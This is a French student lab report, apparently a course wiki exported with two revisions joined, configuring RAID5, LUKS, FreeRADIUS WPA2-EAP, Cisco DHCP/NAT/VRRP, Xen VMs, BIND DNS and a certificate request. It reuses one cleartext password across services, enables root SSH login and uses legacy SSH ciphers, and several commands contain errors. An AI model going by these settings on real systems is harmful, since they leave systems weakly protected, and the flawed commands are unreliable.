 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
RAID 5 : on doit avoir minimum 3 disques, mais on peut survivre seulement à la perte d'un seul disque.&lt;br /&gt;
On peut donc supprimer une partition et toujours avoir accès à nos fichiers.&lt;br /&gt;
&lt;br /&gt;
==Chiffrement de données==&lt;br /&gt;
&lt;br /&gt;
Pour chiffrer la partition de notre clé USB et pouvoir y écrire des fichiers, on exécute les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
 fdisk -l # on repère la clé USB&lt;br /&gt;
 fdisk /dev/sdb # on formate la clé en une seule partition&lt;br /&gt;
 cryptsetup luksFormat /dev/sdb1 # on chiffre l'unique partition de la clé USB&lt;br /&gt;
 cryptsetup luksOpen /dev/sdb1 myusbkey # on déchiffre la partition&lt;br /&gt;
 mkfs.ext4 /dev/mapper/myusbkey # on formatte la partition en EXT4&lt;br /&gt;
&lt;br /&gt;
Ensuite, on monte la clé USB, et on la peuple : &lt;br /&gt;
&lt;br /&gt;
 mkdir /mnt/USB &lt;br /&gt;
 mount -t ext4 /dev/mapper/myusbkey /mnt/USB&lt;br /&gt;
 touch /mnt/USB/mytestfile.txt&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on a fini, on démonte le système de fichier proprement : &lt;br /&gt;
&lt;br /&gt;
 umount /mnt/USB&lt;br /&gt;
 cryptsetup luksClose myusbkey&lt;br /&gt;
&lt;br /&gt;
==Sécurisation WiFi par WPA2-EAP ==&lt;br /&gt;
&lt;br /&gt;
===FreeRADIUS===&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le serveur FreeRADIUS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
On installe le paquet :&lt;br /&gt;
 apt install freeradius&lt;br /&gt;
&lt;br /&gt;
Ensuite, on ajoute un périphérique client (point d'accès WiFi) dans le fichier /etc/freeradius/3.0/clients.conf :&lt;br /&gt;
&lt;br /&gt;
 client 10.60.100.10/24 {&lt;br /&gt;
 	shortname = Piedbleu&lt;br /&gt;
 	secret = pasglop&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
On ajoute un utilisateur FreeRADIUS &amp;quot;pifou&amp;quot; dans le fichier de configuration /etc/freeradius/3.0/users : &lt;br /&gt;
&lt;br /&gt;
 pifou Cleartext-Password := &amp;quot;pasglop&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Pour finir, on configure l'authentification PEAP-MSCHAPv2.&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/freeradius/3.0/mods-enabled/eap :&lt;br /&gt;
&lt;br /&gt;
 eap{&lt;br /&gt;
 ...&lt;br /&gt;
 default_eap_type = peap&lt;br /&gt;
 ...&lt;br /&gt;
 }&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/freeradius/3.0/mods-enabled/mschap : &lt;br /&gt;
&lt;br /&gt;
 use_mppe = yes&lt;br /&gt;
 require_encryption = yes&lt;br /&gt;
 require_strong = yes&lt;br /&gt;
 with_ntdomain_hack = yes&lt;br /&gt;
&lt;br /&gt;
===Point d'accès WiFi===&lt;br /&gt;
&lt;br /&gt;
Ensuite, on configure le point d'accès WiFi.&lt;br /&gt;
&lt;br /&gt;
 ssh root@10.60.100.10 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 aaa authentication login eap_group1 group radius_group8&lt;br /&gt;
 radius-server host 193.48.57.181 auth-port 1812 acct-port 1813 key pasglop&lt;br /&gt;
 aaa group server radius radius_group8&lt;br /&gt;
 server 193.48.57.181 auth-port 1812 acct-port 1813&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Mise en place du ssid 'Piedbleu' et intégration dans le vlan 308 : &lt;br /&gt;
&lt;br /&gt;
 dot11 ssid Piedbleu&lt;br /&gt;
 vlan 308&lt;br /&gt;
 authentication open eap eap_group8&lt;br /&gt;
 authentication network-eap eap_group8&lt;br /&gt;
 authentication key-management wpa&lt;br /&gt;
 Mbssid Guest-mode&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Liaison interface wifi dot11radio0 avec le vlan 308 et méthode encryption: &lt;br /&gt;
&lt;br /&gt;
 interface Dot11Radio0&lt;br /&gt;
 Mbssid&lt;br /&gt;
 encryption vlan 308 mode ciphers aes-ccm tkip&lt;br /&gt;
 ssid Piedbleu&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
Encapsulation: &lt;br /&gt;
&lt;br /&gt;
 int dot11radio0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
 int Gi0.8&lt;br /&gt;
 encapsulation dot1q 308&lt;br /&gt;
 bridge-group 8&lt;br /&gt;
 exit&lt;br /&gt;
&lt;br /&gt;
En n'oubliant pas de démarrer l'interface  :&lt;br /&gt;
&lt;br /&gt;
 int dot11radio0&lt;br /&gt;
 no shutdown&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
Ping du point d'accès vers notre VM : &lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ping.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On observe notre SSID &amp;quot;Piedbleu&amp;quot; :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Freeradius-ssid.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On s'y connecte avec notre téléphone tout en lançant la commande : &lt;br /&gt;
&lt;br /&gt;
 freeradius -X&lt;br /&gt;
&lt;br /&gt;
===DHCP===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.1&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.99&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.150 10.60.108.255&lt;br /&gt;
 write&lt;br /&gt;
 exit&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
'''C9200'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
 ip dhcp pool groupe8&lt;br /&gt;
 dns 193.48.57.181&lt;br /&gt;
 network 10.60.108.0 255.255.255.0&lt;br /&gt;
 default-router 10.60.108.2&lt;br /&gt;
 exit&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.0 10.60.108.49&lt;br /&gt;
 ip dhcp excluded-address 10.60.108.100 10.60.108.255&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
 sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
'''6509E'''&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 ip nat inside&lt;br /&gt;
&lt;br /&gt;
 access-list 108 permit ip 10.60.108.0 0.0.0.255 any&lt;br /&gt;
 ip nat inside source list 108 interface Loopback0 overload&lt;br /&gt;
&lt;br /&gt;
=Ferme de serveurs Web=&lt;br /&gt;
&lt;br /&gt;
==Architecture générale de la ferme==&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Capbreton===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/xen/capbreton.cfg, on ajoute une interface réseau : &lt;br /&gt;
&lt;br /&gt;
 vif = [ 'bridge=IMA5sc, mac=00:16:3E:FE:C2:6C',&lt;br /&gt;
         'bridge=bridgeStudents, mac=00:16:3E:FE:C2:6D',&lt;br /&gt;
 ]&lt;br /&gt;
&lt;br /&gt;
On redémarre ensuite la VM.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre nouvelle interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.8 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir, dans /etc/apt/apt.conf.d/01proxy on commente la 1ère ligne.&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
===Configuration VM Chassiron===&lt;br /&gt;
&lt;br /&gt;
Dans /etc/network/interfaces, on configure notre interface : &lt;br /&gt;
&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.22&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
Ensuite, on commente la 1ère ligne de /etc/apt/apt.conf.d/01proxy :&lt;br /&gt;
&lt;br /&gt;
 #Acquire::http::Proxy &amp;quot;http://proxy.polytech-lille.fr:3128&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
Puis on modifie le fichier /etc/resolv.conf : &lt;br /&gt;
&lt;br /&gt;
 domain plil.info&lt;br /&gt;
 nameserver 192.168.42.8&lt;br /&gt;
&lt;br /&gt;
===Mascarade===&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/systcl.conf :&lt;br /&gt;
&lt;br /&gt;
 net.ipv4.ip_forward=1&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance les commandes : &lt;br /&gt;
&lt;br /&gt;
 apt install iptables-persistent&lt;br /&gt;
&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/conf/all/forwarding&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.22/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.22/32&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT --to-source 193.48.57.181 -s 192.168.42.22/32&lt;br /&gt;
&lt;br /&gt;
Pour tester : &lt;br /&gt;
&lt;br /&gt;
 ping 192.168.42.22 #sur la VM capreton&lt;br /&gt;
 ping 192.168.42.8  #sur la VM chassiron&lt;br /&gt;
 ping 8.8.8.8       #sur la VM chassiron&lt;br /&gt;
 apt update         #sur la VM chassiron&lt;br /&gt;
&lt;br /&gt;
===Clés SSH===&lt;br /&gt;
&lt;br /&gt;
On génère une paire de clés sur notre VM principale via la commande suivante (on fait 3x &amp;quot;entrée&amp;quot;) : &lt;br /&gt;
&lt;br /&gt;
 ssh-keygen -b 2048&lt;br /&gt;
&lt;br /&gt;
Ensuite, on propage notre clé publique sur toutes les VM secondaires : &lt;br /&gt;
 &lt;br /&gt;
 for i in $(cat liste_ip.txt); do echo ssh-copy-id root@&amp;quot;$i&amp;quot;; done&lt;br /&gt;
&lt;br /&gt;
Avec liste_ip.txt un fichier texte contenant les IP des VM secondaires.&lt;br /&gt;
&lt;br /&gt;
Attention pour que cela fonctionne, il faut décommenter dans toutes les VM secondaires :&lt;br /&gt;
&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
dans le fichier /etc/ssh/sshd_config.&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle MOTD===&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons dans cette partie configurer /etc/motd à l’aide d’ansible sur notre machine &lt;br /&gt;
Nous nous inspirons pour cette partie de la documentation d’ansible en ligne.Nous créons notre playbook dans lequel nous faisons le liens entre le rôle en question (configuration de motd) et notre vm secondaire sur chassiron :&lt;br /&gt;
 fichier playbook.yml&lt;br /&gt;
&lt;br /&gt;
 Hosts : vmperso&lt;br /&gt;
 Roles:&lt;br /&gt;
       -{ role : adriagalin.motd }&lt;br /&gt;
&lt;br /&gt;
Nous exécutons ensuite notre playbook.yml :&lt;br /&gt;
 ansible-playbook playbook.yml&lt;br /&gt;
&lt;br /&gt;
Nous obtenir le résultat voulu dans le fichier /etc/motd de notre vm située sur chassiron :&lt;br /&gt;
&lt;br /&gt;
===Ansible rôle NTP===&lt;br /&gt;
&lt;br /&gt;
==Installation de Docker==&lt;br /&gt;
&lt;br /&gt;
Le but de cette partie est d’installer docker sur notre vm secondaire. Nous nous basons sur la documentation de geerlingguy. Après avoir télécharger les fichiers correspondants, nous modifions notre playbook.yml en redéfinissant les variables docker_apt_gpg_key et docker_apt_repository :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:play_docker.png || 600px ]]&lt;br /&gt;
&lt;br /&gt;
==Création du conteneur==&lt;br /&gt;
&lt;br /&gt;
==Configuration des serveurs internes==&lt;br /&gt;
&lt;br /&gt;
==Equilibreur de charge==&lt;/div&gt;</summary>
		<author><name>Jsoulaim</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54894</id>
		<title>TP sysres IMA5sc 2020/2021 G8</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G8&amp;diff=54894"/>
				<updated>2020-12-17T16:17:39Z</updated>
		
		<summary type="html">&lt;p&gt;Jsoulaim : /* Ansible rôle MOTD */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Informations générales=&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Site web !! IP publique !! IP privée !! VLAN !! IPV4 !! IPV4 6509-E !! IPV4 C9200 !! IPV4 Routeur !! IPV6&lt;br /&gt;
|-&lt;br /&gt;
| https://www.piedbleu.site &lt;br /&gt;
| 193.48.57.181&lt;br /&gt;
| 100.64.0.21&lt;br /&gt;
| 308&lt;br /&gt;
| 10.60.108.0/24&lt;br /&gt;
| 10.60.108.1&lt;br /&gt;
| 10.60.108.2&lt;br /&gt;
| 10.60.108.254&lt;br /&gt;
| 2001:660:4401:60ba::0/64 &lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
=Installation de la machine virtuelle Xen=&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on fait un SSH sur capbreton.&lt;br /&gt;
&lt;br /&gt;
Puis création de la machine virtuelle :  &lt;br /&gt;
&lt;br /&gt;
 xen-create-image --hostname=piedbleu --ip=100.64.0.22 --netmask=255.255.255.0 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5 --force&lt;br /&gt;
&lt;br /&gt;
On renomme les LVM avec lv rename : &lt;br /&gt;
&lt;br /&gt;
 lvrename /dev/storage/piedbleu1 /dev/storage/piedbleu-home&lt;br /&gt;
 lvrename /dev/storage/piedbleu2 /dev/storage/piedbleu-var&lt;br /&gt;
&lt;br /&gt;
On obtient (lvdispaly) : &lt;br /&gt;
&lt;br /&gt;
 --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-home&lt;br /&gt;
  LV Name                piedbleu-home&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                UIBfvf-NW8A-iag9-WwcT-HiZu-53UW-u4DRMA&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:38:58 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:12&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/piedbleu-var&lt;br /&gt;
  LV Name                piedbleu-var&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                yZPi6c-xffl-2PgT-YuXk-DYma-X15f-Uci6C1&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 16:39:03 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 1&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:13&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Ensuite, on modifie le fichier : /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Disk device(s)&amp;quot;, partie &amp;quot;disk&amp;quot;, on ajoute les lignes suivantes : &lt;br /&gt;
 phy:/dev/storage/piedbleu-home,xvda3,w',&lt;br /&gt;
 phy:/dev/storage/piedbleu-var,xvda4,w',&lt;br /&gt;
&lt;br /&gt;
Dans la catégorie &amp;quot;Networking&amp;quot;, on ajoute : &lt;br /&gt;
 bridge=IMA5sc&lt;br /&gt;
&lt;br /&gt;
Ensuite, on lance la VM : &lt;br /&gt;
&lt;br /&gt;
 xl create -c /etc/xen/piedbleu.cfg&lt;br /&gt;
&lt;br /&gt;
Par la suite, pour accéder à la VM, on fera : &lt;br /&gt;
&lt;br /&gt;
 xl console piedbleu&lt;br /&gt;
&lt;br /&gt;
Dans la VM, on formate xvda3, xvda4 en ext 4 : &lt;br /&gt;
 mkfs.ext4 /dev/xvda3&lt;br /&gt;
 mkfs.ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
On modifie le fstab en ajoutant : &lt;br /&gt;
&lt;br /&gt;
 /dev/xvda3 /home defaults 0 2&lt;br /&gt;
 /dev/xvda4 /var defaults 0 2&lt;br /&gt;
&lt;br /&gt;
Et après on les monte :  &lt;br /&gt;
 mount -a &lt;br /&gt;
&lt;br /&gt;
puis on fait un lsblk pour vérifier.&lt;br /&gt;
&lt;br /&gt;
On obtient :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Lsblk-g8-2021.png|480px]]&lt;br /&gt;
&lt;br /&gt;
=Interconnexion de VLAN=&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv4==&lt;br /&gt;
&lt;br /&gt;
Nous allons dans cette partie configurer notre VLAN personnel (308) sur les deux routeurs (9200 ET 6509-e) à l'aide du protocole VRRP.  &lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
Nous nous connectons en ssh à partir de notre VM:&lt;br /&gt;
 ssh admin@10.60.100.2&lt;br /&gt;
&lt;br /&gt;
ensuite :&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 address-family ipv4&lt;br /&gt;
 address 10.60.108.254&lt;br /&gt;
 preempt &lt;br /&gt;
 vrrpv2&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte avec exit et on sauvegarde avec write.&lt;br /&gt;
&lt;br /&gt;
La commande show vlan nous affiche bien notre VLAN configuré.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 ssh admin@100.64.0.1 -oKexAlgorithms=+diffie-hellman-group1-sha1 -c aes128-cbc&lt;br /&gt;
&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 vrrp 48 ip 10.60.108.254&lt;br /&gt;
 vrrp 48 preempt&lt;br /&gt;
 vrrp 48 priority 110&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On quitte et on sauvegarde de la même manière. La commande show vlan nous affiche bien notre vlan configuré.&lt;br /&gt;
&lt;br /&gt;
==Configuration IPv6==&lt;br /&gt;
&lt;br /&gt;
'''Routeur 6509-E'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.1 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference High&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Routeur C9200'''&lt;br /&gt;
&lt;br /&gt;
 vlan 308&lt;br /&gt;
 name piedbleu.site&lt;br /&gt;
 exit&lt;br /&gt;
 int vlan 308&lt;br /&gt;
 no shut&lt;br /&gt;
 ip address 10.60.108.2 255.255.255.0&lt;br /&gt;
 ipv6 enable&lt;br /&gt;
 ipv6 address 2001:660:4401:60ba::/64 eui-64&lt;br /&gt;
 ipv6 nd prefix 2001:660:4401:60ba::/64 1000 900&lt;br /&gt;
 ipv6 nd router-preference Low&lt;br /&gt;
 end&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
=Services Internet=&lt;br /&gt;
==Accès à Internet==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, on configure le fichier /etc/network/interfaces : &lt;br /&gt;
&lt;br /&gt;
 # The loopback network interface&lt;br /&gt;
 auto lo&lt;br /&gt;
 iface lo inet loopback&lt;br /&gt;
 # The primary network interface&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
  address 193.48.57.181&lt;br /&gt;
  netmask 255.255.255.255&lt;br /&gt;
  up ip address add dev eth0 100.64.0.21/24 &lt;br /&gt;
  up ip route add default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
  down ip address del dev eth0 100.64.0.21/24 &lt;br /&gt;
  down ip route del default via 100.64.0.2 src 193.48.57.181&lt;br /&gt;
 iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
Ensuite, on fait un ssh sur les 2 routeurs, puis: &lt;br /&gt;
&lt;br /&gt;
 enable&lt;br /&gt;
 conf t&lt;br /&gt;
 ip route 193.48.57.181 255.255.255.255 100.64.0.21&lt;br /&gt;
 exit&lt;br /&gt;
 write&lt;br /&gt;
&lt;br /&gt;
On fait un ping pour tester : &lt;br /&gt;
&lt;br /&gt;
  ping google.fr&lt;br /&gt;
&lt;br /&gt;
==Serveur SSH==&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config.&lt;br /&gt;
Ensuite on active le serveur ssh : &lt;br /&gt;
&lt;br /&gt;
 service ssh start&lt;br /&gt;
&lt;br /&gt;
Puis sur un autre terminal, on fait un : &lt;br /&gt;
&lt;br /&gt;
 ssh root@193.48.57.181&lt;br /&gt;
&lt;br /&gt;
==Serveur DNS==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous allons sur Gandi et nous paramétrons notre nom de domaine piedbleu.site de la façon suivante : &lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Glue Records&lt;br /&gt;
       ns1.piedbleu.site&lt;br /&gt;
       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       1er  : ns1.piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Après avoir configuré notre nom de domaine, nous configurons notre serveur DNS sur notre VM.&lt;br /&gt;
&lt;br /&gt;
Nous commençons par installer le paquet bind:&lt;br /&gt;
&lt;br /&gt;
 apt install bind9&lt;br /&gt;
&lt;br /&gt;
Bind9 est notre serveur DNS que nous allons configurer. Cela se déroule en plusieurs étapes:&lt;br /&gt;
&lt;br /&gt;
'''1ère étape: '''&lt;br /&gt;
&lt;br /&gt;
Nous commençons par changer le nom du serveur dans le fichier /etc/resolv.conf&lt;br /&gt;
&lt;br /&gt;
 name serveur 127.0.0.1&lt;br /&gt;
&lt;br /&gt;
L'adresse 127.0.0.1 spécifie que notre DNS correspond à notre machine (localhost).&lt;br /&gt;
&lt;br /&gt;
'''2ème étape:'''&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous créons une zone &amp;quot;piedbleu.site&amp;quot; qui spécifie que notre DNS ns1.piedbleu.site est notre DNS primaire :&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;piedbleu&amp;quot; IN {&lt;br /&gt;
         type master;&lt;br /&gt;
         file &amp;quot;/etc/bind/db.piedbleu.site&amp;quot;;&lt;br /&gt;
         allow-transfer { 217.70.177.40; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
La dernière ligne nous permet d'autoriser le transfert des informations du DNS primaire (ns1.piedbleu.site) au DNS secondaire (ns6.gandi.net, ip:217.70.177.40;).&lt;br /&gt;
&lt;br /&gt;
'''3ème étape:'''&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous configurons la zone &amp;quot;piedbleu.site&amp;quot;:&lt;br /&gt;
&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.piedbleu.site. root.piedbleu.site. (&lt;br /&gt;
                               3         ; Serial&lt;br /&gt;
                          604800         ; Refresh&lt;br /&gt;
                            86400         ; Retry&lt;br /&gt;
                         2419200         ; Expire                          &lt;br /&gt;
                          604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.piedbleu.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.181&lt;br /&gt;
&lt;br /&gt;
Nous spécifions ns1.piedbleu.site comme étant notre localhost et root.piedbleu.site comme étant notre root.localhost.&lt;br /&gt;
Nous ajoutons ensuite nos deux NS (ns1.piedbleu.site et ns6.gandi.net) ainsi que l'adresse du premier NS (ip publique de notre VM) : 193.48.57.181.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier que notre configuration est bien réalisée, nous entrons la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 host -t any piedbleu.site&lt;br /&gt;
&lt;br /&gt;
Résultat :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:reponse.png | 600px]]&lt;br /&gt;
&lt;br /&gt;
A présent, nous pouvons configurer le serveur de nom secondaire : &lt;br /&gt;
 Nom de domaine &amp;gt; piedbleu.site &amp;gt; Serveurs de noms &amp;gt; Externe (au lieu de live Gandi DNS)&lt;br /&gt;
       2ème : ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
==Sécurisation de site web par certificat==&lt;br /&gt;
&lt;br /&gt;
Tout d'abord, nous configurons un serveur mail afin d'être en mesure de recevoir le mail de confirmation de Gandi lorsque l'on va demander un certificat.&lt;br /&gt;
&lt;br /&gt;
Dans le fichier cat /etc/bind/db.piedbleu.site, nous rajoutons la ligne suivante:&lt;br /&gt;
&lt;br /&gt;
 @       IN      MX      100 ns1.piedbleu.site.&lt;br /&gt;
&lt;br /&gt;
Nous installons ensuite postfix (configuration : &amp;quot;Internet Site&amp;quot;, nom du site &amp;quot; piedbleu.site&amp;quot;).&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons ensuite l'alias dans le fichier /etc/aliases&lt;br /&gt;
&lt;br /&gt;
 admin:root&lt;br /&gt;
&lt;br /&gt;
et nous effectuons la commande : &lt;br /&gt;
&lt;br /&gt;
 newaliases&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant envoyer des mails à l'adresse &amp;quot;admin@piedbleu.site&amp;quot;. Ces mails sont visibles lorsque l'on tape la commande :&lt;br /&gt;
 &lt;br /&gt;
 mailx&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Dans un second temps, nous configurons notre serveur apache. Afin de configurer le serveur Apache2, nous avons besoin d'une clé asymétrique ainsi que d'un certificat signé par une autorité de certification (CA), qui sera Gandi.&lt;br /&gt;
&lt;br /&gt;
Nous devons pour cela générer une demande de signature de certificat. Nous utilisons pour cela la commande suivante:&lt;br /&gt;
&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout piedbleu.site.key -out piedbleu.csr&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
-newkey tsa:2048 permet de générer une requête CSR et une clé privée utilisant le chiffrement RSA sur 2048 bits.&lt;br /&gt;
&lt;br /&gt;
-keyout piedbleu.site.key permet de sauvegarder le fichier de clé privée sous le nom &amp;quot;piedbleu.site.key&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
-out piedbleu.csr permet de sauvegarder le fichier CSR sous le nom &amp;quot;piedbleu.csr&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
À la suite de cette commande, nous entrons nos données d'identifications. Nous ferons attention à bien entrer le nom de domaine &amp;quot;piedbleu.site&amp;quot; pour le Common Name.&lt;br /&gt;
&lt;br /&gt;
Nous obtenons deux fichiers: un fichier de clé privée .key ainsi qu'un fichier de CSR .csr.&lt;br /&gt;
&lt;br /&gt;
